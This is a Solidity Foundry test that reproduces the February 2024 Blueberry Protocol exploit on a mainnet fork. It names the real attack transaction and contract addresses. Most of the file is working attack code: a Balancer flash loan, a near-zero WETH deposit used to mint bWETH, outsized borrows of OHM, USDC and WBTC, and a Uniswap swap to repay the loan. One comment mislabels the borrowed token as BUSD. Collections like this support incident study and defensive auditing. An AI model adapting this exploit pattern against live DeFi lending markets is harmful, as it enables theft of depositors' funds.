src/test/2024-02/BlueberryProtocol_exp.sol

1import "forge-std/Test.sol";
2 
3import "./../interface.sol";
4 
5// @KeyInfo - Total Lost : ~$1,400,000 USD
6// Attacker : https://etherscan.io/address/0xc0ffeebabe5d496b2dde509f9fa189c25cf29671 (whitehat)
7// Attack Contract : https://etherscan.io/address/0x3aa228a80f50763045bdfc45012da124bd0a6809
8// Vulnerable Contract : https://etherscan.io/address/0xffadb0bba4379dfabfb20ca6823f6ec439429ec2
9// Attack Tx : https://etherscan.io/tx/0xf0464b01d962f714eee9d4392b2494524d0e10ce3eb3723873afd1346b8b06e4
10 
11// @Info
12// Vulnerable Contract Code : https://etherscan.io/address/0xffadb0bba4379dfabfb20ca6823f6ec439429ec2#code
13 
14// @Analysis
15// https://twitter.com/blueberryFDN/status/1760865357236211964
16 
17interface IMarketFacet {
18    function enterMarkets(
19        address[] calldata vTokens
20    ) external returns (uint256[] memory);
21}
22 
23interface bBep20Interface {
24    function transfer(address dst, uint256 amount) external returns (bool);
25 
26    function approve(address spender, uint256 amount) external returns (bool);
27 
28    function balanceOf(
29        address owner
30    ) external view returns (uint256);
31 
32    /**
33     * User Interface **
34     */
35    function mint(
36        uint256 mintAmount
37    ) external returns (uint256);
38 
39    function borrow(
40        uint256 borrowAmount
41    ) external returns (uint256);
42}
43 
44contract ContractTest is Test {
45    WETH9 private WETH = WETH9(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);
46    IERC20 private OHM = IERC20(0x64aa3364F17a4D01c6f1751Fd97C2BD3D7e7f1D5);
47    IERC20 private USDC = IERC20(0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48);
48    IERC20 private WBTC = IERC20(0x2260FAC5E5542a773Aa44fBCfeDf7C193bc2C599);
49 
50    bBep20Interface private bWETH = bBep20Interface(0x643d448CEa0D3616F0b32E3718F563b164e7eDd2);
51    bBep20Interface private bOHM = bBep20Interface(0x08830038A6097C10f4A814274d5A68E64648d91c);
52    bBep20Interface private bUSDC = bBep20Interface(0x649127D0800a8c68290129F091564aD2F1D62De1);
53    bBep20Interface private bWBTC = bBep20Interface(0xE61ad5B0E40c856E6C193120Bd3fa28A432911B6);
54 
55    IMarketFacet BlueberryProtocol = IMarketFacet(0xfFadB0bbA4379dFAbFB20CA6823F6EC439429ec2);
56 
57    IBalancerVault balancer = IBalancerVault(0xBA12222222228d8Ba445958a75a0704d566BF2C8);
58 
59    Uni_Router_V3 pool = Uni_Router_V3(0xE592427A0AEce92De3Edee1F18E0157C05861564);
60 
61    function setUp() public {
62        vm.createSelectFork("mainnet", 19_287_289 - 1);
63        vm.label(address(this), "AttackContract");
64        vm.label(address(WETH), "WETH");
65        vm.label(address(OHM), "OHM");
66        vm.label(address(USDC), "USDC");
67        vm.label(address(WBTC), "WBTC");
68        vm.label(address(bWETH), "bWETH");
69        vm.label(address(bOHM), "bOHM");
70        vm.label(address(bUSDC), "bUSDC");
71        vm.label(address(bWBTC), "bWBTC");
72 
73        vm.label(address(BlueberryProtocol), "BlueberryProtocol");
74 
75        vm.label(address(balancer), "balancer");
76        vm.label(address(pool), "pool");
77    }
78 
79    function approveAll() internal {
80        WETH.approve(address(bWETH), type(uint256).max);
81        OHM.approve(address(pool), type(uint256).max);
82    }
83 
84    function testAttack() public {
85        vm.deal(address(this), 0.000000000000009997 ether);
86        WETH.deposit{value: 0.000000000000009997 ether}();
87        approveAll();
88        address[] memory tokens = new address[](1);
89        tokens[0] = address(WETH);
90        uint256[] memory amounts = new uint256[](1);
91        amounts[0] = 1_000_000_000_000_000_000;
92        balancer.flashLoan(address(this), tokens, amounts, new bytes(1)); // borrow BUSD
93    }
94 
95    function receiveFlashLoan(
96        IERC20[] memory tokens,
97        uint256[] memory amounts,
98        uint256[] memory feeAmounts,
99        bytes memory userData
100    ) external {
101        address[] memory tokenList = new address[](1);
102        tokenList[0] = address(bWETH);
103        BlueberryProtocol.enterMarkets(tokenList);
104        bWETH.mint(1_000_000_000_000_000_000);
105        bOHM.borrow(8_616_071_267_266);
106        bUSDC.borrow(913_262_603_416);
107        bWBTC.borrow(686_690_100);
108        Uni_Router_V3.ExactOutputSingleParams memory params = Uni_Router_V3.ExactOutputSingleParams({
109            tokenIn: address(OHM),
110            tokenOut: address(WETH),
111            fee: 3000,
112            recipient: address(this),
113            deadline: type(uint256).max,
114            amountOut: 999_999_999_999_999_999,
115            amountInMaximum: type(uint256).max,
116            sqrtPriceLimitX96: 0
117        });
118        pool.exactOutputSingle(params);
119        WETH.transfer(address(balancer), 1_000_000_000_000_000_000);
120    }
121 
122    receive() external payable {}
123    fallback() external payable {}
124}